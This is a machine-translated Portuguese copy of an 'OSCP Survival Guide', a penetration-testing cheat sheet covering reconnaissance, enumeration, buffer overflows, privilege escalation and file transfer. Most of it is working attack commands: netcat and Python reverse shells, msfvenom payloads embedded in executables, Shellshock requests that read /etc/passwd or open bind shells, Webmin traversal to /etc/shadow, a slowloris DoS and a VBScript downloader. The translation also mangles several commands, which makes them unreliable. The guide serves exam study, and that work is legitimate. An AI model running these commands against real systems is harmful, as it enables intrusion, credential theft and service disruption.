Guia de sobrevivência OSCP
3 DE NOVEMBRO DE 2018
OSCP-Survival-Guide
NOTA: Este documento se refere ao ip de destino como a variável de exportação $ ip.
Para definir esse valor na linha de comando, use a seguinte sintaxe:
export ip = [Link]
Índice
Kali Linux
Coleta de informações e verificação de vulnerabilidades
Coleta de informações passivas
Coleta de informações ativas
Port Scanning
Enumeração
Enumeração HTTP
Estouros de buffer e explorações
Cartuchos
Transferências de arquivo
Escalonamento de privilégios
Escalonamento de privilégios Linux
Escalonamento de privilégios do Windows
Ataques de cliente, web e senha
Ataques de cliente
Ataques na web
Vulnerabilidades de inclusão de arquivo LFI / RFI
Vulnerabilidades de banco de dados
Ataques de senha
Ataques de hash de senha
Networking, Pivoting e Tunneling
O Framework Metasploit
Ignorando software antivírus
Kali Linux
Defina o endereço IP de destino para a variável do sistema$ip
export ip=[Link]
Encontre a localização de um arquivo
locate [Link]
Pesquisar diretórios na variável de ambiente$PATH
which sbd
Encontre uma busca por um arquivo que contém uma string específica em seu nome:
find / -name sbd\*
Mostrar conexões de internet ativas
netstat -lntp
Mudar senha
passwd
Verifique se um serviço está funcionando e ouvindo
netstat -antp |grep apache
Inicie um serviço
systemctl start ssh
systemctl start apache2
Faça um serviço iniciar na inicialização
systemctl enable ssh
Pare um serviço
systemctl stop ssh
Descompacte um arquivo gz
gunzip [Link]
Descompacte um arquivo [Link]
tar -xzvf [Link]
Pesquisar histórico de comandos
history | grep phrase_to_search_for
Baixe uma página da web
wget [Link]
Abra uma página da web
curl [Link]
Manipulação de cordas
Contar o número de linhas no arquivo
wc -l [Link]
Obtenha o início ou o fim de um arquivo
head [Link]
tail [Link]
Extraia todas as linhas que contêm uma string
grep "href=" [Link]
Corte uma string por um delimitador, filtre os resultados e classifique
grep "href=" [Link] | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u
Usando Grep e expressões regulares e saída para um arquivo
cat [Link] | grep -o '[Link] | cut -d "/" -f 3 | sort –u > [Link]
Use um loop bash para encontrar o endereço IP por trás de cada host
for url in $(cat [Link]); do host $url; done
Colete todos os endereços IP de um arquivo de log e classifique por frequência
cat [Link] | cut -d " " -f 1 | sort | uniq -c | sort -urn
Decodificando usando Kali
Decodificar Valores Codificados em Base64
echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode
Decodificar valores codificados hexadecimais
echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps
Netcat - ler e gravar pacotes TCP e UDP
Baixe Netcat para Windows (útil para criar shells reversas e transferir arquivos em sistemas
Windows):[Link]
Conecte-se a um servidor de e-mail POP3
nc -nv $ip 110
Ouça na porta TCP / UDP
nc -nlvp 4444
Conecte a uma porta netcat
nc -nv $ip 4444
Envie um arquivo usando netcat
nc -nv $ip 4444 < /usr/share/windows-binaries/[Link]
Receber um arquivo usando netcat
nc -nlvp 4444 > [Link]
Alguns sistemas operacionais (OpenBSD) usarão [Link] em vez de nc, portanto, fique
atento a isso ...
whereis nc
nc: /bin/[Link] /usr/share/man/man1/[Link]
/bin/[Link] -e /bin/bash [Link] 4444
Crie um shell reverso com Ncat usando [Link] no Windows
[Link] -nlvp 4444 -e [Link]
ou
[Link] -nv <Remote IP> <Remote Port> -e [Link]
Crie um shell reverso com Ncat usando bash no Linux
nc -nv $ip 4444 -e /bin/bash
Netcat para captura de banner:
echo "" | nc -nv -w1 <IP Address> <Ports>
Ncat - Netcat para projeto Nmap que fornece mais segurança evita IDS
Inverta o shell do Windows usando [Link] usando ssl
ncat --exec [Link] --allow $ip -vnl 4444 --ssl
Ouça na porta 4444 usando SSL
ncat -v $ip 4444 --ssl
Wireshark
Mostrar apenas tráfego SMTP (porta 25) e ICMP:
[Link] eq 25 or icmp
Mostra apenas o tráfego na LAN ([Link]), entre estações de trabalho e servidores - sem
Internet:
[Link]==[Link]/16 and [Link]==[Link]/16
Filtre por um protocolo (por exemplo, SIP) e filtre IPs indesejados:
[Link] != [Link] && [Link] != [Link] && sip
Alguns comandos são iguais
[Link] == [Link]
É igual a
[Link] == [Link] or [Link] == [Link]
[Link] != [Link]
É igual a
[Link] != [Link] or [Link] != [Link]
Tcpdump
Exibir um arquivo pcap
tcpdump -r [Link]
Exibir ips e filtrar e classificar
tcpdump -n -r [Link] | awk -F" " '{print $3}' | sort -u | head
Obtenha uma captura de pacote na porta 80
tcpdump tcp port 80 -w [Link] -i eth0
Verifique se há sinalizador ACK ou PSH definido em um pacote TCP
tcpdump -A -n 'tcp[13] = 24' -r [Link]
IPTables
Negar tráfego para portas, exceto para Loopback local
iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP
iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP
Limpar TODAS as regras de firewall do IPTables
```bash
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
iptables -t raw -F iptables -t raw -X
```
Coleta de informações e verificação de vulnerabilidades
Coleta de informações passivas
Hacking do Google
Pesquisa do Google para encontrar subdomínios de sites
site:[Link]
Tipo de arquivo do Google e intitle
intitle:"netbotz appliance" "OK" -filetype:pdf
Inurl do Google
inurl:"level/15/sexec/-/show"
Banco de dados de hackers do Google:
[Link]
Teste de certificado SSL
[Link]
Coleta de Email
Simplesmente Email
git clone [Link]
./[Link] -all -e TARGET-DOMAIN
Netcraft
Determine o sistema operacional e as ferramentas usadas para construir um site
[Link]
Enumeração Whois
whois [Link]
whois $ip
Agarrando Banner
nc -v $ip 25
telnet $ip 25
nc TARGET-IP 80
Recon-ng - framework completo de reconhecimento da web escrito em Python
cd /opt; git clone [Link]
cd /opt/recon-ng
./recon-ng
show modules
help
Coleta de informações ativas
Port Scanning
Tabela de referência de sub-rede
/ Endereços Hosts Máscara de rede Quantidade de uma classe C
/ 30 4 2 [Link] 1/64
/ 29 8 6 [Link] 1/32
/ 28 16 14 [Link] 1/16
/ 27 32 30 [Link] 1/8
/ 26 64 62 [Link] 1/4
/ 25 128 126 [Link] 1/2
/ 24 256 254 [Link] 1
/ 23 512 510 [Link] 2
/ 22 1024 1022 [Link] 4
/ 21 2048 2046 [Link] 8
/ 20 4096 4094 [Link] 16
/ 19 8192 8190 [Link] 32
/ 18 16384 16382 [Link] 64
/ 17 32768 32766 [Link] 128
/ 16 65536 65534 [Link] 256
Defina o endereço IP como uma variável
export ip=[Link] nmap -A -T4 -p- $ip
Verificação de porta Netcat
nc -nvv -w 1 -z $ip 3388-3390
Descubra IPs ativos usando ARP na rede: arp-scan $ip/24
Descubra quem mais está na rede
netdiscover
Descubra fornecedores IP Mac e Mac da ARP
netdiscover -r $ip/24
Nmap stealth scan usando SYN
nmap -sS $ip
Nmap stealth scan usando FIN
nmap -sF $ip
Captura de Banner Nmap
nmap -sV -sT $ip
Impressão digital do Nmap OS
nmap -O $ip
Varredura regular do Nmap:
nmap $ip/24
Varredura de enumeração
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN [Link]
Enumeração, escanear todas as portas TCP / UDP e enviar para um arquivo txt
nmap -oN [Link] -v -sU -sS -p- -A -T4 $ip
Saída Nmap para um arquivo:
nmap -oN [Link] -p 1-65535 -sV -sS -A -T4 $ip/24
Escaneamento rápido:
nmap -T4 -F $ip/24
Quick Scan Plus:
nmap -sV -T4 -O -F --version-light $ip/24
Traceroute rápido
nmap -sn --traceroute $ip
Todas as portas TCP e UDP
nmap -v -sU -sS -p- -A -T4 $ip
Varredura intensa:
nmap -T4 -A -v $ip
Intenso Scan Plus UDP
nmap -sS -sU -T4 -A -v $ip/24
Varredura intensa em TODAS as portas TCP
nmap -p 1-65535 -T4 -A -v $ip/24
Varredura Intensa - Sem Ping
nmap -T4 -A -v -Pn $ip/24
Verificação de ping
nmap -sn $ip/24
Leitura abrangente lenta
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or
(discovery and safe)" $ip/24
Faça a varredura com conexão ativa para eliminar quaisquer portas falsificadas projetadas para
enganá-lo
nmap -p1-65535 -A -T5 -sT $ip
Enumeração
Enumeração DNS
Pesquisa de nomes de host DNS NMAP nmap -F --dns-server <dns server ip> <target ip range>
Pesquisa de host
host -t ns [Link]
Força bruta de pesquisa reversa - encontre domínios no mesmo intervalo
for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
Executar pesquisa de IP DNS
dig a [Link] @nameserver
Executar pesquisa de registro MX
dig mx [Link] @nameserver
Realizar transferência de zona com DIG
dig axfr [Link] @nameserver
Transferências de zona DNS Transferência de
zona DNS do Windows
nslookup -> set type=any -> ls -d [Link]
Transferência de zona Linux DNS
dig axfr [Link] @[Link]
Dnsrecon DNS Brute Force
dnsrecon -d TARGET -D /usr/share/wordlists/[Link] -t std --xml [Link]
Lista DNS Dnsrecon da megacorp
dnsrecon -d [Link] -t axfr
DNSEnum
dnsenum [Link]
Lista de scripts de enumeração NMap:
NMap Discovery
[Link]
Potência MÁXIMA de detecção de versão da porta Nmap
nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>
Enumeração NFS (Network File System)
Mostrar compartilhamentos NFS montáveis nmap -sV --script=nfs-showmount $ip
Enumeração RPC (Remote Procedure Call)
Conecte-se a um compartilhamento RPC sem um nome de usuário e senha e enumere
privilégios rpcclient --user="" --command=enumprivs -N $ip
Conecte-se a um compartilhamento RPC com um nome de usuário e enumere privilégios
rpcclient --user="<Username>" --command=enumprivs $ip
Enumeração SMB
Descoberta de SMB OS
nmap $ip --script [Link]
Varredura de porta Nmap
nmap -v -p 139,445 -oG [Link] $ip-254
Digitalização de informação Netbios
nbtscan -r $ip/24
Nmap encontra servidores Netbios expostos
nmap -sU --script [Link] -p 137 $ip
Nmap todos os scripts SMB verificam
nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or
fuzzer)' --script-args=unsafe=1 $ip
Nmap todos os scripts SMB autenticados scan
nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password>
--script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-
args=unsafe=1 $ip
Ferramentas de enumeração SMB
nmblookup -A $ip
smbclient //MOUNT/share -I $ip -N
rpcclient -U "" $ip
enum4linux $ip
enum4linux -a $ip
Impressão digital SMB
smbclient -L //$ip
Nmap Scan para Open SMB Shares
nmap -T4 -v -oA shares --script smb-enum-shares --script-args
smbuser=username,smbpass=password -p445 [Link]/24
Nmap scans para SMB Servers vulneráveis
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip
Nmap Lista todos os scripts SMB instalados
ls -l /usr/share/nmap/scripts/smb*
Enumerar usuários SMB
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14
OU
python /usr/share/doc/python-impacket-doc/examples /[Link] $ip
Ciclismo RID - Sessões Nulas
[Link] $ip 500 50000 [Link]
Teste manual de sessão nula
Janelas: net use \\$ip\IPC$ "" /u:""
Linux: smbclient -L //$ip
Enumeração SMTP - servidores de correio
Verifique a porta SMTP usando Netcat
nc -nv $ip 25
Enumeração POP3 - Lendo e-mails de outras pessoas - Você pode encontrar nomes de usuário
e senhas para contas de e-mail, então aqui está como verificar o e-mail usando Telnet
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
USER billydean
+OK
PASS password
+OK Welcome billydean
list
+OK 2 1807
1 786
2 1021
retr 1
+OK Message follows
From: jamesbrown@[Link]
Dear Billy Dean,
Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
Enumeração SNMP - Protocolo de gerenciamento de rede simples
Corrija os valores de saída SNMP para que sejam legíveis por humanos
apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/[Link]
Comandos de enumeração SNMP
snmpcheck -t $ip -c public
snmpwalk -c public -v1 $ip 1|
grep hrSWRunName|cut -d\* \* -f
snmpenum -t $ip
onesixtyone -c names -i hosts
Enumeração SNMPv3
nmap -sV -p 161 --script=snmp-info $ip/24
Automatize o processo de enumeração de nome de usuário para SNMPv3:
apt-get install snmp snmp-mibs-downloader wget
[Link]
SNMP Default Credentials
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
Enumeração MS SQL Server
Coleta de informações do Nmap
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-
config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes
--script-args [Link]-port=1433,[Link]=sa,[Link]=,[Link]-
name=MSSQLSERVER $ip
Webmin e miniserv / Enumeração 0,01 - Porta 10000
Teste a vulnerabilidade de divulgação de arquivos e LFI acessando / etc / passwd
`curl [Link]
%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01
/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%
01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd`
Teste para ver se o webmin está rodando como root clicando em / etc / shadow
`curl [Link]
%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01
/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%
01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow`
Enumeração Linux OS
Liste todos os arquivos SUID
find / -perm -4000 2>/dev/null
Determine a versão atual do Linux
cat /etc/issue
Determine mais informações sobre o ambiente
uname -a
Listar processos em execução
ps -xaf
Liste os comandos permitidos (e proibidos) para o uso de chamada
sudo -l
Listar regras de iptables
iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL
-t raw iptables -vL -t security
Enumeração do sistema operacional Windows
estação de trabalho net config
Informação do sistema findstr / B / C: ”Nome do SO” / C: ”Versão do SO”
nome de anfitrião
usuários da rede
ipconfig / all
impressão de rota
arp -A
netstat -ano
netsh firewall show state
netsh firewall show config
schtasks / query / fo LIST / v
lista de tarefas / SVC
net start
DRIVERQUERY
consulta reg HKLM \ SOFTWARE \ Policies \ Microsoft \ Windows \ Installer \
AlwaysInstallElevated
reg query HKCU \ SOFTWARE \ Policies \ Microsoft \ Windows \ Installer \
AlwaysInstallElevated
dir / s passar == cred == vnc == .config
senha findstr / si * .xml * .ini * .txt
consulta de registro HKLM / senha f / t REG_SZ / s
consulta de registro HKCU / senha f / t REG_SZ / s
Verificação de vulnerabilidade com Nmap
Scripts de exploração do Nmap
[Link]
Pesquisa Nmap através de scripts de vulnerabilidade
cd /usr/share/nmap/scripts/ ls -l \*vuln\*
Pesquisa Nmap por meio de scripts Nmap para uma palavra-chave específica
ls /usr/share/nmap/scripts/\* | grep ftp
Procure exploits vulneráveis com o nmap
nmap --script exploit -Pn $ip
Scripts de autenticação NMap
[Link]
Nmap Vuln Scanning
[Link]
Varredura NMap DOS
nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script
http-slowloris --script-args [Link]=true
Verificar vulnerabilidades de fusão a frio na web
nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip
Despejo de FTP anônimo com Nmap
nmap -v -p 21 --script=[Link] $ip-254
Verificação do modo de segurança SMB com Nmap
nmap -v -p 21 --script=[Link] $ip-254
Enumeração de arquivo
Encontrar UID 0 arquivos de execução raiz
/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null
Obtenha um prático script de enumeração do sistema de arquivos do Linux (/ var / tmp)
wget [Link] chmod +x ./[Link]
./[Link]
Encontre arquivos executáveis atualizados em agosto
find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep
Aug
Encontre um arquivo específico no linux
find /. -name suid\*
Encontre todas as strings em um arquivo
strings <filename>
Determine o tipo de arquivo
file <filename>
Enumeração HTTP
Pesquise por pastas com gobuster:
gobuster -w /usr/share/wordlists/dirb/[Link] -u $ip
OWasp DirBuster - enumeração de pasta Http - pode levar um arquivo de dicionário
Dirb - Pesquisa de força bruta de diretório usando um arquivo de dicionário
dirb [Link] [Link] dirb <[Link]
Dirb contra um proxy
dirb [[Link] -p $ip:3129
Nikto
nikto -h $ip
Enumeração HTTP com NMAP
nmap --script=http-enum -p80 -n $ip/24
Nmap Verifique os métodos do servidor
nmap --script http-methods --script-args [Link]-path='/test' $ip
Obtenha opções disponíveis no servidor web curl -vX OPTIONS vm/test
Localizador de diretório Uniscan:
uniscan -qweds -u <[Link]
Wfuzz - A força bruta da web
wfuzz -c -w /usr/share/wfuzz/wordlist/general/[Link] $ip:60080/?FUZZ=test
wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/[Link] $ip:60080/?page=FUZZ
wfuzz -c -w /usr/share/wfuzz/wordlist/general/[Link] "$ip:60080/?
page=mailer&mail=FUZZ"
wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/[Link] --hc 404 $ip/FUZZ
Recurse nível 3
wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/[Link] -R 3 --sc 200 $ip/FUZZ
Abra um serviço usando uma porta knock (protegido com Knockd)
para x em 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $ x
server_ip_address; feito
WordPress Scan - scanner de segurança Wordpress
wpscan –url $ ip / blog –proxy $ ip: 3129
Enumeração RSH - Sistema de transferência de arquivos não criptografado
auxiliary / scanner / rservices / rsh_login
Enumeração de dedo
dedo @ $ ip
dedo batman @ $ ip
Teste TLS e SSL
./[Link] -e -E -f -p -y -Y -S -P -c -H -U $ ip aha> [Link]
Enumeração de proxy (útil para proxies abertos)
nikto -useproxy http: // $ ip: 3128 -h $ ip
Esteganografia
apt-get install steghide
extrato de steghide -sf [Link]
steghide info [Link]
apt-get install stegosuite
O OpenVAS Vulnerability Scanner
apt-get update
apt-get install openvas
openvas-setup
netstat -tulpn
Faça login em:
https: // $ ip: 9392
Estouros de buffer e explorações
DEP e ASLR - Prevenção de Execução de Dados (DEP) e Randomização de Layout de Espaço de
Endereço (ASLR)
Fuzzers Nmap:
Lista NMap Fuzzer
[Link]
NMap HTTP Form Fuzzer
nmap –script http-form-fuzzer –script-args '[Link] = {1 = {path = /}, 2 = {path
= / [Link]}}' -p 80 $ ip
Nmap DNS Fuzzer
nmap –script dns-fuzz –script-args timelimit = 2h $ ip -d
MSFvenom
[Link]
Estouros de buffer do Windows
Controlando EIP
locate pattern_create
pattern_create.rb -l 2700
locate pattern_offset
pattern_offset.rb -q 39694438
Verifique a localização exata do EIP - [*] Correspondência exata no deslocamento 2606
buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90
Verifique se há “caracteres incorretos” - execute várias vezes 0x00 - 0xFF
Use Mona para determinar um módulo que está desprotegido
Ignore DEP, se presente, encontrando um local de memória com acesso de leitura e execução
para JMP ESP
Use NASM para determinar o código HEX para uma instrução JMP ESP
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
JMP ESP
00000000 FFE4 jmp esp
Execute Mona na janela de registro de imunidade para encontrar o comando XEF (FFE4)
!mona find -s "\xff\xe4" -m [Link]
found at 0x5f4a358f - Flip around for little endian format
buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390
MSFVenom para criar carga útil
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b
"\x00\x0a\x0d"
Carga útil final com slide NOP
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
Criar um Shell reverso PE
msfvenom -p windows / shell_reverse_tcp LHOST = $ ip LPORT = 4444 -f
exe -o shell_reverse.exe
Crie um Shell reverso PE e codifique 9 vezes com Shikata_ga_nai
msfvenom -p windows / shell_reverse_tcp LHOST = $ ip LPORT = 4444 -f
exe -e x86 / shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
Crie um shell reverso PE e incorpore-o a um executável existente
msfvenom -p windows / shell_reverse_tcp LHOST = $ ip LPORT = 4444 -f exe -e x86 /
shikata_ga_nai -i 9 -x /usr/share/windows-binaries/[Link] -o
shell_reverse_msf_encoded_embedded.exe
Criar um shell PE reverso HTTPS
msfvenom -p windows / meterpreter / reverse_https LHOST = $ ip LPORT = 443 -f exe -o
met_https_reverse.exe
Estouros de buffer do Linux
Execute o Evans Debugger em um aplicativo
edb –run / usr / games / crossfire / bin / crossfire
O registro ESP aponta para o final de nosso CBuffer
add eax, 12
jmp eax
83C00C add eax, byte + 0xc
FFE0 jmp eax
Verifique se há “caracteres inválidos” no processo de eliminação - Executar várias vezes 0x00 -
0xFF
Encontre o endereço JMP ESP
“\ x97 \ x45 \ x13 \ x08” # Encontrado no endereço 08134597
crash = “\ x41” * 4368 + “\ x97 \ x45 \ x13 \ x08” + “\ x83 \ xc0 \ x0c \ xff \ xe0 \ x90 \ x90”
msfvenom -p linux / x86 / shell_bind_tcp LPORT = 4444 -fc -b “\ x00 \ x0a \ x0d \ x20” –e x86 /
shikata_ga_nai
Conecte-se ao shell com netcat:
nc -v $ ip 4444
Cartuchos
Ouvinte Netcat Shell
nc -nlvp 4444
Gerando um Shell TTY - Saia da Jail ou shell limitado Você quase sempre deve atualizar seu
shell após assumir o controle de um usuário apache ou www.
(For example when you encounter an error message when trying to run an exploit sh: no job
control in this shell )
(hint: sudo -l to see what you can run)
Você pode encontrar shells limitados que usam rbash e só permitem que você execute um
único comando por sessão. Você pode superar isso executando um shell SSH em seu host local:
ssh user@$ip nc $localip 4444 -e /bin/sh
enter user's password
python -c 'import pty; [Link]("/bin/sh")'
export TERM=linux
python -c 'import pty; [Link]("/bin/sh")'
python -c 'import
socket,subprocess,os;s=[Link]([Link]\_INET,[Link]\_STREAM);
[Link](("$ip",1234));os.dup2([Link](),0); os.dup2([Link](),1);
os.dup2([Link](),2);p=[Link](\["/bin/sh","-i"\]);'
echo [Link]('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
rubi: exec "/bin/sh"
lua: [Link]('/bin/sh')
De dentro do IRB: exec "/bin/sh"
De dentro do vi: ou:!bash
:set shell=/bin/bash:shell
De dentro do vim ':!bash':
De dentro do nmap: !sh
De dentro do tcpdump
echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo
tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root
De Busybox /bin/busybox telnetd -|/bin/sh -p9999
Pen test monkey PHP reverso
[Link]
php-foundock-shell - transforma a porta 80 do PHP em um shell interativo
[Link]
Shell reverso Perl
[Link]
Navegador da web com PHP Shell b374k com upload de arquivo etc.
[Link]
Shell reverso do Windows - script Invoke-Shellcode do PowerSploit e injeta um shell
Meterpreter[Link]
voke-Shellcode.ps1
Backdoors web do Fuzzdb [Link]
backdoors
Criando Meterpreter Shells com MSFVenom -
[Link]
msfvenom-payloads/
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f elf > [Link]
janelas
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f exe > [Link]
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f macho > [Link]
Payloads da Web
PHP
msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
raw > [Link]
OU
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > [Link]
Em seguida, precisamos adicionar o <? Php na primeira linha do arquivo para que ele seja
executado como uma página da web PHP:
cat [Link] | pbcopy && echo '<?php ' | tr -d '\n' > [Link] && pbpaste >> [Link]
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f asp > [Link]
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > [Link]
GUERRA
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f war > [Link]
Scripting Payloads
Pitão
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > [Link]
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect
On> -f raw > [Link]
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect
On> -f raw > [Link]
Shellcode
Para todos os códigos de shell, consulte 'msfvenom –help-formatos' para informações sobre
parâmetros válidos. Msfvenom produzirá código que pode ser cortado e colado nesta
linguagem para seus exploits.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f <language>
Shellcode Windows Based
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f <language>
Shellcode baseado em Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f <language>
Handlers Os manipuladores Metasploit podem ser ótimos para configurar rapidamente o
Metasploit para estar em uma posição de receber os shells de entrada. Os manipuladores
devem estar no seguinte formato.
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
Assim que os valores requeridos forem completados, o seguinte comando irá executar seu
manipulador - 'msfconsole -L -r'
SSH para Meterpreter: [Link]
meterpreter-try-this/
use auxiliary/scanner/ssh/ssh_login
use post/multi/manage/shell_to_meterpreter
[Link]
sbd é um clone do Netcat, projetado para ser portátil e oferecer criptografia forte. Ele roda em
sistemas operacionais do tipo Unix e no Microsoft Win32. sbd apresenta criptografia AES-CBC-
128 + HMAC-SHA1 (por Christophe Devine), execução de programa (opção -e), escolha da
porta de origem, reconexão contínua com atraso e alguns outros recursos interessantes. sbd
suporta apenas comunicação TCP / IP. O [Link] (parte da distribuição Kali linux:
/usr/share/windows-binaries/backdoors/[Link]) pode ser carregado em uma caixa do
Windows como uma alternativa ao Netcat.
Trauma pós guerra
Testando o choque da bomba com NMap
root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-
bin/[Link] $ip
git clone [Link]
./[Link] -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
Shell Shock SSH Forced Command
Verifique se há comando forçado ativando toda a saída de depuração com ssh
ssh -vvv
ssh -i noob noob@$ip '() { :;}; /bin/bash'
arquivo cat (ver o conteúdo do arquivo)
echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$
(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
Shell Shock executar bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e
/bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80
Transferências de arquivo
A pós-exploração refere-se às ações executadas por um invasor, uma vez que algum nível de
controle foi obtido em seu alvo.
Servidores da Web locais simples
Execute um servidor http básico, ótimo para servir shells etc.
python -m SimpleHTTPServer 80
Execute um servidor http Python3 básico, ótimo para servir shells etc.
python3 -m [Link]
Execute um servidor ruby webrick básico http
ruby -rwebrick -e “WEBrick :: [Link]
(: Port => 80,: DocumentRoot => [Link]) .start”
Execute um servidor PHP básico http
php -S $ ip: 80
Criando um script Wget VB no Windows:
[Link]
Script de transferência de arquivos do Windows que pode ser colado na linha de comando. As
transferências de arquivos para uma máquina Windows podem ser complicadas sem um shell
Meterpreter. O script a seguir pode ser copiado e colado em uma janela reversa básica e usado
para transferir arquivos de um servidor da web (os comandos timeout 1 são necessários após
cada nova linha):
echo Set args = [Link] >> [Link]
timeout 1
echo Url = "[Link] >> [Link]
timeout 1
echo dim xHttp: Set xHttp = createobject("[Link]") >> [Link]
timeout 1
echo dim bStrm: Set bStrm = createobject("[Link]") >> [Link]
timeout 1
echo [Link] "GET", Url, False >> [Link]
timeout 1
echo [Link] >> [Link]
timeout 1
echo with bStrm >> [Link]
timeout 1
echo .type = 1 ' >> [Link]
timeout 1
echo .open >> [Link]
timeout 1
echo .write [Link] >> [Link]
timeout 1
echo .savetofile "C:\temp\[Link]", 2 ' >> [Link]
timeout 1
echo end with >> [Link]
timeout 1
echo
O arquivo pode ser executado usando a seguinte sintaxe:
C:\temp\[Link] [Link]
Montando compartilhamentos de arquivos
Monte o compartilhamento NFS em / mnt / nfs
mount $ ip: / vol / share / mnt / nfs
HTTP Put
nmap -p80 $ ip –script http-put –script-args [Link] = '/ test / [Link]', [Link] = '/
var / www / html / [Link]
Carregando arquivos
SCP
scp username1 @ source_host: directory1 / filename1 username2 @ destination_host:
directory2 / filename2
scp localfile username @ $ ip: ~ / Folder /
scp Linux_Exploit_Suggester.pl bob@[Link]: ~
Webdav com Davtest- Alguns administradores de sistema são gentis o suficiente para habilitar
o método PUT - Esta ferramenta fará o upload automático de um backdoor
davtest -move -sendbd auto -url [Link]
[Link]
Você também pode fazer upload de um arquivo usando o método PUT com o comando curl:
curl -T '[Link]' '[Link]
E renomeie-o para um arquivo executável usando o método MOVE com o comando curl:
curl -X MOVE --header 'Destination:[Link] '[Link]
